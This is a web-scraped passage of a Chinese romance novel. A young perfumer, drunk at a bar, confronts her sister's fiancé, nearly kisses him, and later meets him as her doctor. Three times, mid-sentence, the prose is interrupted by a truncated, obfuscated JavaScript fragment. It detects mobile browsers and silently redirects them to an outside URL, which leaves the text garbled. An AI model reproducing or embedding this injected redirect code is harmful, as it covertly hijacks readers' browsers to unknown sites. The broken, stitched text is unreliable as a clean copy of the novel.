辛亦桐道:“实际上,心理学家们对性和爱的关系也有很多研究。一些观点认为,性冲动和爱是两种独立的机制,但它们常常彼此影响。你可能因为爱一个人而对他产生性冲动,也可能因为对一个人产生了性冲动,进而试图去理解他,甚至发展出感情。” “那么辛老师,如何区分这两者呢?” “这是个好问题。”辛亦桐换了一页PPT,“区分的关键在于你对这个人的整体感受。爱是更全面的,你会关心他的喜怒哀乐,愿意为他的幸福付出。而性冲动可能更多的是基于外貌、气质,甚至某些瞬间的化学反应。两者并不是对立的,但也不能完全等同。” 云听陷入沉思。 这个话题不仅仅是关于爱情和性,更是在探讨人类复杂的情感机制。 酒与爱、欲望和亲密,其实有着许多相通之处。 … 辛亦桐和云听走出教室时,她提议去附近的清吧坐坐。 两人都是吃过晚饭的,云听便没有拒绝。 两人来到酒吧,这个点人不多,里面的气氛正好,背景音乐是低沉的爵士乐,柔柔地填满了空气,又不至于让人觉得嘈杂。 辛亦桐牵着云听的手,熟门熟路地找了个靠墙的沙发座。 酒单递上来,她点了几款她喜欢的鸡尾酒,又特意替云听点了一杯看起来甜美无害的“蓝色夏威夷”。 “喝点酒,放松心情。” 云听托着腮,视线不知道落在哪儿。 辛亦桐顺着她的角度看去,一对嘻哈风的情侣在吧台亲昵打闹,她开口:“云云,忘掉一个人最好的方式就是有‘新欢’。” 云听接过服务生递来的酒,手指沿着杯口划过,抬眸直视她的眼,“我已经尽力了。” 辛亦桐叹了口气,伸手拍她的肩膀:“我知道,从高中到现在,你对他的喜欢我比谁都清楚。可你有没有想过,这段感情没有结果了。与其继续陷在这种无望的喜欢里,不如让自己重新出发。” 云听放下手中的酒杯,没有反驳。 暗恋的悸动与苦涩是一颗无法拔除的刺,时间久了,疼痛都会变成习惯。 辛亦桐见她不说话,冲她神秘一笑,“所以,我今天特意找了几个帅哥陪你散心。” 云听蹙眉:“帅哥?你搞什么鬼?” 辛亦桐扬了扬眉毛,“就是几个最近刚认识的朋友,性格都挺好,颜值更没得挑。你总得试着让自己开心点吧?别担心,只是聊聊天,喝喝酒,放松一下。” 不等云听拒绝,辛亦桐已经朝吧台的方向挥了挥手。 没多久,三个男生走了过来。 辛亦桐好意的劝慰,云听并未抱有太大的期待。 可当看到走在中间的男生时,她的瞳孔骤缩,心脏扑通扑通地狂跳。 他穿着一件低调又不失品位的黑色毛衣,说不出的俊逸。 可就是那眉眼,让云听的心猛地一颤。 他太像徐清聿了。 但仔细一看,她又迅速否定自己,两人的眼神分明不同。 徐清聿眼神是凌厉的,而眼前这个男生,眉眼柔和。云听想到了一个词,温润如玉。 她怔怔地盯着他,手指在杯沿颤了一下,连辛亦桐说的话也没听清。 男生察觉到她的视线,微微一笑:“你好,我叫陆辞安。” 云听身体有些僵硬,不自在地抿了抿唇,勉强挤出一句话:“你好,我是…云听。” 辛亦桐注意到她的失态,心下了然,自然地岔开话题,招呼几人落座:“别站着啊,坐下来聊。” 三个男生分散落座,另外两个人一个叫段靳,另一个叫苏誉白。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14698979|157004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陆辞安正好坐在云听的对面。他的举止随和,不急不缓地与其他人交谈,偶尔端起酒杯轻抿一口。 不像,只是第一眼像。 “云小姐。” 云听闻声抬起头,才发现陆辞安正微笑地看着自己,“你很安静。是我们的话题让你觉得无趣了吗?” 云听赶忙摇头:“没有,你们聊得挺有意思的,只是我最近有点累,精神不太集中。叫我云听就好。” 陆辞安没有继续追问,他推过来一杯热红酒,道:“如果累了,就喝点这个吧,我试过,很不错,或许能让你放松些。” 云听接过酒杯,抿了一小口,“谢谢。” 辛亦桐在旁边打趣道:“小陆,你这人不只是能说会道,还挺会照顾人啊?” 陆辞安摆了摆手,谦逊道:“这算不上照顾,只是觉得云小姐今天看上去很疲惫,稍微尽点心罢了。” 云听很安静。 大部分时间只是低头搅动着杯中的酒,偶尔抬眼,看着辛亦桐和几个人闲聊。 辛亦桐谈笑风生,把气氛调动得恰到好处,三个男生时而讲一些轻松的趣事,时而又分享些有趣的见闻。 气氛很融洽,云听看到四人聊得兴致盎然,简单的快乐让她心里柔软了几分。 微醺的香气萦绕在鼻尖,她慢慢喝了一口,温热的液体滑过喉咙,久违的放松从心底漫上来。 中途云闻问她在哪,云听告诉她现在酒吧,一小时后回家。 云闻让她等着。 散场时,陆辞安替云听拿起外套,礼貌地递给她:“今晚的风有点大,小心感冒。” 云听不知道是不是喝多了,眸光朦胧中泛起几分诱人的妩媚,她动作迟钝地接过外套,小声道谢。 离开清吧,醉意让云听步伐有些摇晃。 陆辞安看出她的不稳,善意地伸手扶了她一下,没想到她躲闪得太快,反倒踩到了一块凹陷的地砖,身体一晃,陆辞安赶紧拉住了她的手臂。 “你还好吗?”陆辞安关切地问。 “没事,我能走。” 几个人前往停车场,谁也没有注意到,马路边停着一辆黑色宾利。 驾驶座的窗户半开,寒冷的东风呼啸而入,徐清聿冷冷地注视着这一幕,指尖夹着一支燃了一半的烟。 20分钟前,云闻和他说云听喝醉了,拜托他帮忙接一下。 并不需要。 徐清聿嗤笑一声,唇角勾起一抹冷意,指尖的烟已经燃到了尽头,刺鼻的焦味在空气中弥漫。 他掐灭烟头,抬手随意将它丢进车窗外的垃圾桶。 第四次了。 不同的男人,不同的表情,拉拉扯扯,像是陷在一种荒唐的循环里。 手腕上的表针滴答作响,每一秒都在磨他的耐性。 等得不耐烦了,徐清聿推开车门,冰冷地喊了一声,“云听。” 声音不大,却极具漠然和威压。 云听条件反射地望向声音的来源,看清来的人后,她接巴问:“徐…徐清聿,你,你怎么来了?” 黑暗如同浓稠的墨汁,将一切都涂抹得模糊不清。 云听视线穿过重重夜幕,只能勉强辨认出他的轮廓。那高大的身影隐匿在黑暗里,如一座沉默的雕像,既熟悉又陌生。 徐清聿凝视她双眸,淡道:“小闻让我过来接你。” 云听保持僵站的姿势许久。 见她不动,徐清聿锐利的目光落在她身后,意有所指:“怎么?要跟他回去?” 陆辞安走前上,更靠近云听,笑容玩味,“小云,他是?” 两人的距离很近,倘若被不知情的人看到,一定会误以为他们的关系不一般。 “我、我姐夫…”云听不知道怎么介绍徐清聿,思来想去,只能称呼他“姐夫”。 她后退一步,侧头面带歉意对四人说:“那、我先走了,改天再聊。” 辛亦桐阅帅哥无数,见过徐清聿的次数不少,但每次见到他还是会被他的脸硬控五秒。 也难怪云听会放不下他。 就算徐清聿性格再差,有这张脸在,一切都好说。 她挑眉,意味深长地看了两人一眼,轻哼:“行吧,慢点儿,照顾好我的小云。” 8. 第八章 云听上车后,双目空洞地望向前方,隔着厚厚的车窗玻璃,看到的不是沉沉夜幕,而是另一片虚无的世界。 徐清聿为什么知道她在这? 是姐姐告诉他的吗? 姐姐为什么要告诉他? …… “云听,安全带。” 云听身体僵硬地陷在椅子里,发着呆,一动不动。 徐清聿眸色更沉,提醒三遍之后,语气加重,也多了点不耐:“云听,安全带。” 第四声落下,云听才像从梦中惊醒一般,身子一抖,连忙低声道歉:“哦,对不起,对不起……” 手忙脚乱地摸索车椅,动作笨拙,好一会儿才将安全带扣好。 徐清聿没再说话,手指一转,启动车子,平稳地驶入主路。 车内逐渐升温,暖气渗入,原本因为寒风而稍稍清醒的云听开始昏昏欲睡。 温暖的环境让酒意在她的血液里更加肆无忌惮地蔓延,她的眼皮开始打架,终于抵挡不住困意,脑袋一歪,靠在车窗边睡了过去。 车轮碾过路面的声音单调均匀。直到一声刺耳的喇叭声划破这片静谧,云听被惊得猛然睁开眼,整个人从混沌中挣扎出来,有点儿懵。 她坐直身子,茫然地看向窗外,喃喃道:“到哪儿了?” 徐清聿直视前方,平静回:“刚过桥。” “哦,哦好,好的。”也许是醉意作祟,云听的理智被模糊的情感取代,她小心翼翼问:“徐清聿、你是不是…生气了?” 她的脸颊红扑扑的,像被夕阳染透的云,眼神却亮得惊人。 徐清聿垂眸,“没有。” “真的吗?”云听不肯罢休,软软地追问。 抿了抿唇,又有些气馁地补了一句,“可你看起来就很生气啊。” 徐清聿薄唇紧抿,“没有。” 云听的醉意彻底上涌,思绪紊乱起来,话也渐渐脱离理智的轨道:“徐清聿,你喜欢姐姐,对不对?” 徐清聿一愣,眉心轻蹙,没有立刻接话。 “你别不承认,”云听像没注意到他的沉默,或者说,酒意让她不在乎了,“从小到大,你的眼里只有姐姐,对她笑,对她好,什么都偏向她。” 说罢,她抬手指了指自己的脸,眼神黯淡得像蒙了一层雾,此刻看起来灰扑扑的,“可是我们明明长得一模一样,你为什么只喜欢她?” 徐清聿握着方向盘的手收紧,正色道:“云听,你喝醉了。” 委屈的闸门打开,云听控制不住情绪:“徐清聿,你为什么这么偏心?我讨厌你…” 她的声音越来越低,到最后几乎是喃喃自语,连她自己都不知道在问他还是在问自己。 车内的温度降了一些,冷得让人心里发颤。 “云听。”徐清聿低声唤了一句,侧过头看向她,语气比平时柔和,“你喝醉了,冷静一下。” 见她情绪失控,他将车平稳地靠边停下,留着引擎空转,手伸向中控台,抽出一张纸巾递给她:“别哭了 云听别过脸,不肯接,倔强地反驳:“我没有哭。”但长长的睫毛上已经挂满了晶莹的泪珠。 徐清聿几不可闻地叹了一口气:“抱歉,我没有偏心,从来没有。” 云听听到那句“我没有偏心”时,睁大了双眼,泪水还挂在长长的睫毛上,一副可怜兮兮的模样,像极了迷失了方向的小动物,不知道接下来该怎么办。 徐清聿看着她,一贯的冷淡和克制动摇了一瞬。 他的眸子深了些,心里某个地方不由自主地软了下来。 云听嘴角动了动,没有真正笑出来,反而泪水顺着眼角滑落,洇湿了面颊。 她摇了摇头,声音低而轻,像是自言自语,又像是对他的回应:“你偏心的,你很包容姐姐,你喜欢她——” “云听,你可以做任何你想做的事。”徐清聿打断她的话,“包括,对我。” 云听怔住了。 她的大脑被塞满了棉絮,迟缓地运转着,一点一点地将他的话拆解成一字一词,仔细琢磨其中的含义。 用了将近五分钟。 她用近乎确认的语气,轻声细语地重复了一遍:“我可以……可以做任何事?” 徐清聿没接话,偏头看着她,既不催促,也不否定,耐心地等她自己做决定。 云听的眉头皱了皱,嘴唇开合间,携带几分醉后不可控的坦率问道:“那……我可以亲你吗?” 听到这话,徐清聿眸光一闪,似乎有些意外,但他并没有立刻拒绝,也没有一丝犹豫,只是淡淡地吐出一个字:“好。” 他的这个“好”落得干脆,毫无拖泥带水。 明明是应允的答复,云听的眼神更迷茫了,她没有动,理智在一瞬间卷土重来,将那点薄弱的勇气碾压得无影无踪。 她以为徐清聿会拒绝的,但现在,他却答应了。 徐清聿见她迟迟未动,解开自己的安全带,又伸手解开了她的,终是主动将身子探过去,双手撑在座椅旁,将两人之间的距离缩短到近乎于无。 精致的脸近在咫尺,冷峻的五官轮廓因为近距离显得更加分明。他的眼神不再是平日的冷漠,而是多了一份让人心悸的压力。 像猎豹锁定了猎物,沉静中暗藏锋芒。 云听屏住呼吸,僵硬地盯着他的脸,心脏怦怦直跳,快要从胸膛中跳出来。 她闻到了徐清聿身上那股夹杂着烟草味和白梅的清冷香气,那味道像冬日里的霜雪覆盖着凋零的梅枝,却又被烈焰灼烧,冰与火交织,矛盾却又令人着迷。 喉咙发痒… 云听慌乱得不知所措。她一只手按住了徐清聿的肩膀,用力将他推开,一只手捂住嘴,嗓音断断续续:“你……你离我、远一点!” 说着,她惊慌无措地打开车窗,冰冷的冬夜空气争先恐后挤了进来,掠过她发烫的脸颊,将那股白梅的气息稀释得几不可闻。 徐清聿没有阻止她,只是靠回自己的座椅,微微挑眉,漂亮的眼睛没有被戏耍后的怒气,反而有丝玩味的笑意:“刚刚是你问的,云听。” 云听语塞,脸颊愈发滚烫。 白梅香味散去,混杂的烟草气息也被寒风吹得零零落落。云听靠在座椅上,喉咙里灼烧般的痒意慢慢退去。 身体的不适,让她的大脑也恢复了一些清醒,酒精的钝重感虽然还在,但已经不像刚才那般模糊不堪。 云听揉了揉太阳穴,调整了一下坐姿,想起刚才短暂的混乱中闪过的灵感。 她拿起包,手指在包内摸索了几下,将手机拿了出来。 点亮屏幕,熟练地打开备忘录,细长的手指在屏幕上跳跃,认真地记录下刚才突然想到的关于香水调配的创意。 酒香与燃烧感的结合,矛盾中夹杂的独特层次。 记录完灵感,云听抬起头,吁了一口气,对徐清聿说:“谢谢你,徐清聿…” 徐清聿:“……” 云听咽了咽口水,又谨慎地问:“徐清聿…我还能亲你吗?” 徐清聿气笑了,他说:“不可以。” 看到云听的表情从期待变成失落,他心里竟生出一点作恶得逞的快意,他问:“云听,你知道你在说什么吗?” 云听抿唇,答非所问:“徐清聿…你身上的味道,我不能闻…” 徐清聿以为云听受不了烟味,沉吟三秒,道:“憋气。” 云听乖乖听话,深吸一口气后屏住呼吸。 时间一秒一秒地过去,稀薄的空气让她的胸腔发闷,脸因缺氧泛起了红晕。 她忍得辛苦,手攥紧被解开的安全带,可还是倔强地不出声。 然而徐清聿没有动作,他懒散地靠在座椅上,偏着头,目光锁定在她的脸上,那模样像是在欣赏某件有趣的事物。 云听忍不住了,委屈地鼓起脸颊,嘴巴一张一合要说什么,却因为憋气发不出声音。 终于,她不得不吸了一口气,“你…” 徐清聿漫不经心地说:“我让你憋气,没说之后会怎么样。” “哦。” 云听胸口剧烈起伏着,被逗得恼羞成怒,又无处发泄,只能别开视线闷闷地“哦”了一声,睫毛看起来无精打采的,尾音也透着浓浓的沮丧:“徐清聿…” 徐清聿比云听大四岁,云听向来懂事知礼节,唯独在称呼这件事上,她喜欢连名带姓叫他。 小时候,云听的声音干净又清亮,连名带姓地砸下来,既不亲近也不疏远。 她爸妈和姐姐多次纠正她,可她就是不改口,没有礼貌可言。 可是今晚不同。 云听仰头看着他,眼里湿漉漉的,像揉碎了一整片星光。她的声音带了点醉意,黏着他的耳朵。 有点莫名的顺耳。 徐清聿压抑内心的异样,问,“云听,你为什么叫我名字?” 云听眼睛里朦胧的水光让她看起来很无辜,她不计较徐清聿方才的戏耍:“因为好听啊。” 徐清聿勾起一抹淡淡的笑,手指摸了摸烟盒,低声问:“云听,你想和我结婚吗?” * 云听被一阵剧烈的头痛唤醒,喉咙干涩得厉害,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14698980|157004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬手按住额角,缓缓坐起身。 回想昨晚的情景,好像捕捉到了一些模糊的片段。 “不可能……”云听低声喃喃,双手抓着被褥,指尖泛白。 她亲了吗?徐清聿让她亲了吗? 脸轰然烧了起来,一股难堪和懊悔直冲她的脑门。那可是徐清聿,她姐姐的未婚夫!她怎么能…… “不,不可能……”云听掀开被子,跌跌撞撞跑去卫生间,抬起的眼睛躲不开镜中的自己。 乱糟糟的头发,凌乱的睡衣,以及通红的脸颊,无一不在揭露她的失态。 如果这一切是真的,她该如何面对徐清聿?如何面对姐姐?虽然说姐姐不喜欢徐清聿,但他们毕竟有婚姻在身… 只要还没取消婚姻,她这就是不道德的行为… 她不敢想,亦不敢去求证… 洗完澡后,云听换上干净的衣服,心虚地走到云闻的房门口,心里忐忑得发慌,敲了敲门。 门打开,云闻正在涂口红,看到她醒了,关心问道:“醒了?昨晚喝那么多,现在还难受吧?” “姐……”云听踌躇几秒,试探着问,“姐,我昨天……怎么回来的?” “还能怎么回来?聿哥抱着你回来的啊。你醉成那样,他怕你摔着,就把你送回房间了。” 云听如遭雷劈,脸上的血色瞬间褪得干干净净,“他、他抱我?” 云闻昨晚下楼时,碰巧见两人回来,徐清聿抱着云听,是标准的公主抱,云听睡着了,缩在他怀里小小的一只,“是啊,以后少喝点,听宝。” “完了……”被羞愧和无助淹没,云听低低地“嗯”了一声,快步退出房间。 不过十分钟,她匆匆拿上包,逃一般地出了门。 * 瓷器碰撞声清脆,徐奶奶用小勺搅拌着碗里的粥,望了望楼梯的方向,“小刘,小听怎么还没下来?” 站在旁边伺候的刘嫂赶紧答道:“老夫人,小听早上走得很匆忙,说什么公司有急事,急匆匆走了。” 徐奶奶放下勺子,叹息道:“这么忙?早餐也不吃,身体怎么受得了。” 徐爷爷坐在主位,闻言轻轻哼了一声:“年轻人,总是不懂得珍惜身体,小听和清聿有的一拼。” 餐桌上只有四人。 徐父徐深凛是医生,医院常有紧急意外发生,他便和徐母刑时漫住在医院附近的小区,休息日才会回来。 其他人都没接话,徐清聿坐在靠边的位置,神色如常,一手端着茶杯。 “聿哥,”云闻放下筷子,“小听今天早上看起来怪反常的,你昨天和她一起回来,有发生什么事吗? 话音一落,徐清聿握着茶杯的手指一顿,杯沿停在唇边,没有立刻饮下。 他眼神淡淡掠过云闻,又落回茶杯上,从容地将茶放回桌上,“没什么。” 云闻似笑非笑,显然不信:“真没有?” 徐奶奶听了这话,抬起眼,打量了徐清聿一番,开玩笑说道:“看你这模样,倒像心情很好嘛。是不是有好事没告诉我们?” “没有的事,奶奶别瞎猜。”徐清聿拿起手机,回工作上的消息。 下一条,云听的消息跳了出来。 云听:「徐清聿…对不起,昨天我喝多了,我把你认成别人了,真的对不起…」 云听:「对不起.jpg」 * 云听到公司楼下,还是没能想出一个完美的答案,只好硬着头皮掏出手机,飞快地编辑了一条消息: 「徐清聿…对不起,昨天我喝多了,我把你认成别人了,真的对不起…」 消息已发出,心仍吊在半空。 她翻到表情包列表,慎重挑选后,点了一个流泪的小人举着“对不起”牌子的表情包。 发送成功后,立马摁灭手机。 云听一直以为自己的酒量很好,推杯换盏后依旧能保持清醒,即使喝醉也不过是乖乖趴着睡觉,从未出过格。 但昨晚……她的行为显然已越轨,分明没有醉得不省人事,却记不起后来发生了什么。 一想到这,云听恨不得立刻掐死醉酒时的自己,恨不得找个地缝钻进去永远别出来。 徐清聿一定很嫌弃吧? 从小到大,他对她的态度都很淡漠,但昨晚她却将自己的狼狈强行塞进他的目光里。 云听不敢面对徐清聿藏着疏离和厌恶的眼神,心底只有一个念头:她必须避开他。 等了很久,也没等到徐清聿的回复。 她松了一口气,说不上来是失望居多还是庆幸居多。 9. 第九章 早晨例会,部门领导提到下午会来一个实习生。 他一边敲桌子,一边无所谓地补充和吩咐:“小云,也不用安排什么重要工作,让她打打杂,装模作样就行,别和她较真。” 云听在笔记本上写了几个字,应声:“好的。” 对于上面硬塞下来的“关系户”,她并不感兴趣,但也知道自己没有拒绝的资格。 能在这个节骨眼儿上强塞进来的,无非背后背景不小。 下午三点,办公室的玻璃门被人推开,一股浓郁的白梅香扩散开来,过于馥郁的香气迅速填满整个空间。 那是一种极尽张扬的香气,甜腻中带着不算好闻的化学味,刺鼻、锋利的侵略感直冲人的鼻腔。 调香师的嗅觉敏锐到极致,任何过于明显的气味都可能干扰思维,误导灵感。所以办公室的环境有被刻意净化过,连窗边摆放的几株绿植也没有选择带香气的品种。 来人显然没有意识到自己的香味在这里有多突兀。 有几人悄悄捂住鼻子。 云听正低头处理文件,闻到这股气味,眉头微不可察地皱了一下,抬头看向门口。 一个穿着短款棉衣、精致短裙的女孩站在那里。 “小云前辈是吧?你好,我是新来的实习生,林悦。” 云听小幅后退半步,脸上挂上公式化的微笑,“你好,欢迎。” 林悦看在眼里,笑意顿时淡了很多,似乎把云听的退让理解成了她眼高于顶的倨傲。 她朝前走了一步,香水的气味越发浓烈:“前辈,我第一天来公司,还不熟悉,能麻烦您带我参观一下吗?” 没等云听回答,旁边的苏黎凑上来,举手自告奋勇,很是热情:“林同事,你好呀,我带你去吧,我对公司很熟!” 林悦没有正眼瞧她,直接婉拒:“不用了,我还是希望云前辈能亲自带我看看。” 不是请求,是施压。 云听神色镇定:“抱歉,我对白梅香过敏,可能不太方便。” 毕竟是关系户,她再不情愿,也会保持礼貌,不会表现分毫的不耐。 林悦愣了一下,语气微凉:“云前辈真会开玩笑。这年头哪有人会对梅花过敏?” 林悦不过十八九岁,所有情绪都赤裸裸地写在脸上,藏都不藏,还有几分对权势关系的理所当然。 云听没有解释,沉默地扫了眼领导的方向。最终,她掩去眸中的冷意,起身走在前面:“跟我来吧。” 林悦嘴角挑起得逞的弧度,踩着高跟鞋跟上。 香水味如影随形,浓得凝成实质。 一路走下来,云听的喉咙开始发痒,手腕上隐约泛起几处红痕。她垂目,将袖口往下拽,掩住刺目的红斑。 “云前辈,这里就是你们的会议室?”林悦明知故问,嫌弃万分,“太小了吧。” 云听点头:“嗯,这是供内部讨论使用的。” 走着走着,林悦忽地停下脚步,转头:“云前辈,您脸色不太好,是不是不舒服?” 云听敷衍地应了一声,忽视皮肤的灼热感,继续带她参观。 不适感一点点加重。 抬起手臂时,她的袖口无意滑下了一点,手腕深红的印记像散落的吻痕,触目惊心。 林悦敏锐地捕捉到这些痕迹,眼神闪过一抹诧异,佯装大惊失色:“云前辈,你的手怎么了?” 云听深吸一口气,好脾气解释:“说了,香水过敏。” 林悦恍然大悟,半诚心半敷衍:“原来是真的,对不起啊。” 云听并未把她毫无诚意的道歉放在心上,目光若有若无地掠过林悦,道:“白梅香本就淡雅,讲究分寸,喷得太浓,反倒失了原本的韵味。” “是吗?我觉得还挺适合我的。” “适不适合,看个人。”云听敛眸一笑,“不过,这款香水是对手公司的标志款,通常是为了表现低调内敛才用的。” 林悦皱眉:“我只是觉得好闻而已。” 云听评价:“好闻是好闻,但太多人喜欢,难免让人觉得…从众,尤其对于不适合这款香水的人来说。更何况,这款本就跟风‘霜花’。” 对香水一窍不通的林悦刚想反驳,接着听到她说:“琥珀木调的‘深海鲸歌’层次丰富但不张扬,前调微甜,尾调低沉,既有存在感,也不至于过分,可能更适合你。” 林悦神情微妙,脏话堵在嗓子眼,嗓音难得温顺:“……那种香水好像不太容易买到吧?” “嗯”,云听的声音淡得像午后的风,“稀有才显特别,不是更适合你吗?” 过了一秒,林悦冷漠回:“哦。” 又过了一秒,她硬邦邦说道:“参观得差不多了,谢谢云前辈。” “不客气。” 回到办公室,云听关上门,靠在门板上吐出一口气。 她撩起袖子,瞧见手臂上散落的红痕,已经蔓延到锁骨附近。 症状不如以往严重。 云听从抽屉翻出抗过敏药。 苏黎已经划水一小时,时时刻刻在关注云听的动态,见她回了办公室,她也跟着进来,义愤填膺:“小云姐,你明明对白梅香过敏,为什么还要答应她无理的要求?” 云听说:“她刚来,就想踩在我头上。” 云听素来不是一个软柿子,新来的人若懂分寸,她不介意睁一只眼闭一只眼,让小问题过去。可偏偏,她不知轻重。 林悦居高临下的态度,以及浓得刺鼻的白梅香,像一道挑衅的信号,逼得她不得不出手。 云听知道自己在冒险,但某些事情,她必须做。 一方面,她得让领导明白,强塞进来的人如果惹事,不仅给公司添麻烦,也会让她难以应对。另一方面,她想亲自测试白梅香的过敏反应。 白梅香在她身边盘旋时,喉咙的刺痒、皮肤的微热,是她多年来最敏感的触点。可如果调节得当,她未尝不能借此作为某种突破。 至少,眼下说明脱敏过程正在起作用。 可惜,已经没有意义了。 * 云闻和徐清聿订婚的日子逼近,已经不到一周。云听不愿回徐宅,向家里谎称工作忙,要出差,实际上一直躲在辛亦桐家。 辛亦桐的家很小,一室一厅的格局,家具摆得紧凑,但胜在安静。 云听窝在沙发里,面前是没喝完的牛奶,电视开着,却没有声音。画面闪烁的光影映在她脸上,她看着屏幕,什么也没看进去。 “你打算这样躲多久?”辛亦桐从厨房端着水果出来,“订婚典礼也不回去?” “能躲一天是一天。” 辛亦桐叹了口气,坐到她身边,给她按摩肩膀:“云云,你这个样子让我看得都难受。” “没事的,不用担心——” 话音未落,云听的胸口又是一阵绞痛,有一只无形的手攥住了她的心脏,疼得她冷汗涔涔。 辛亦桐察觉不对,急忙走过来扶住她的肩膀,焦急问:“你是不是心脏又疼了?云云,这样拖下去真的不行,必须去医院看看!” 云听强撑:“有时候会疼一下,没大事的,可能是压力太大……” “没大事?心脏疼能没大事?”辛亦桐几乎要跳起来,尖锐的嗓音提高八度,“你要是再这么拖下去,早晚得出事!现在就挂个号去医院检查一下。” 云听被逼得无路可退,妥协:“好吧,我去。” 她打开手机预约医院,离她最近的是徐清聿所在的医院。 云听特意查看排班表,确认他的休假时间。 明天徐清聿不在。 辛亦桐道:“明天我没有课,我陪你去吧,你一个人我不放心。” 云听说:“不用,我自己可以处理。” 第二天,云听请了半天假,赶往医院。 她挂的是普通科,只剩上午最后一个号,想着应该能在医生午休前结束,不会耽误太久。 但她低估了医院的忙碌程度,一等就是三小时。 云听安静地坐在候诊大厅,四周是熙熙攘攘的病人和家属,广播里机械的播报声一遍又一遍地在她耳畔响起。 她看了眼手机,时间已经快到中午,她的号码迟迟没有被叫到,显示屏上的数字还停在她前面的几个病人。 照这样的速度,她的号估计得拖到下午。 坐得太久,云听的腿有些麻木,她揉了揉膝盖,慢吞吞地站起身,准备活动一下。 就在这时,头顶的扬声器乍然传出机械清晰的女声: “请796号到12号诊室,请796号到12号诊室。” 云听停下动作,拿起包朝12号诊室的方向走去。 推开门,还没看清里面的情况,先闻到了消毒水浓重的气味,她习惯性地捂住鼻子:“医生,我最近胸口——” 云听正要和医生打招呼,却在看清对方脸的那一刻,心脏一抽。 徐清聿正盯着电脑屏幕,身着一袭干净的白大褂,领口端端正正扣好,袖口整洁平整,微微卷起,露出手腕的一截肌肤,可见几道青色的血管。 他的鼻梁上架着一副金丝边眼镜,镜框纤细,周身散发着一种冷峻的斯文感。 云听第一反应是退出去,可手刚触到门把,徐清聿就开了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14698981|157004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口,声音低沉:“云听。” 他没有抬头,淡淡地喊出她的名字。 云听的手顿在门把上,磕磕巴巴道:“徐…清聿?对不起…我走错房间了…” 徐清聿置若罔闻:“进来。” 云听深吸一口气,平复内心的波动,僵硬地转身走进去。 她低垂着眼,尽量避免和他目光接触,“对不起,我……不知道是你。” 徐清聿严肃道:“坐下。” 云听小心翼翼地坐在椅子上,双手绞在一起,指尖掐得掌心发疼。 徐清聿的眉骨立体而英挺,眉形锋利,眉尾自然舒展,可看到她一副如见洪水猛兽的模样,眉心拧起一条褶子,他问:“哪里不舒服?” “最近心脏有点儿问题。”云听声如蚊蚋,“时不时会绞痛。” 徐清聿点了点头,平静问:“症状出现多久了?” 云听想了下,回答:“有一段时间了。” “为什么不早点来看?”徐清聿抬起眼,视线直直地投向她。 云听呼吸停滞,唇角动了动,艰难地挤出一个借口:“工作太忙,一直没时间。” 徐清聿没有说话,沉默地凝视了她一阵,又问:“出差回来了?” 越是这样,云听越慌乱,像是找不到逃避地方的小动物,又像被父亲训斥的小孩,她头垂得更低:“嗯。” 徐清聿又问了其他具体表现,问完拿起听诊器,“外套脱了。” 云听略迟疑地将大衣解开,缓缓脱下,里面是一件厚实的高领毛衣。毛衣织得密实,领口堆起,遮住了她的下巴。 徐清聿皱眉,““毛衣太厚,脱掉。” “不脱的话,掀起来也可以。” “哦…好。”“云听抬起手,掀起毛衣的下摆向上提,露出轻薄的羊绒衫内搭。 徐清聿将听诊器压在她胸口,“坐好,别动。” 听诊器沿着云听的胸口滑过。 她不由得屏住呼吸,身体绷紧,害怕自己的反应会被徐清聿察觉。 她觉得时间被拉得无比漫长,心跳声也清晰得被放大了无数倍,那种无所遁形的感觉让她羞得无地自容。 听诊器离开她的胸口,徐清聿说:“云听,你心跳过快了。” 云听抬起头,刚想说些什么,却被他深不见底的眼睛看得慌乱不已,脸上的温度攀升,紧张得无以复加,她嗫嚅道:“有点、有点紧张。” 徐清聿没有深究,将听诊器收回到一旁:“调整情绪,不用紧张。” “先去做心电图和血液检查,结果出来再说。” “好的,谢谢。”云听整理好衣服,拿起检查单,起身欲离开,刚踏出两步,就听到徐清聿问:“你很急?” 云听刹住脚步,脊背一凉,她不想让徐清聿察觉自己在刻意回避他,强行说反话:“不急。” 原以为这个回答能尽快结束对话,哪承想徐清聿一反常态,“不急,结束和我一起吃饭。” 云听怀疑自己听错了,徐清聿要和她吃饭? 这顿饭怕是断头宴,来找她秋后算账的吧? 她改口:“其实…我很急。” 徐清聿扬眉,示意她说原因。 云听老老实实交代,“我只请了半天假…所以…我要赶快回公司…” 闻言,徐清聿站起身,走近她,高大的身躯将她的视线全然挡住:“既然着急,走吧。” 眼前俊美的五官冲击让云听脸颊不禁泛红,慌乱和不安被无声放大,“走…走去哪?” 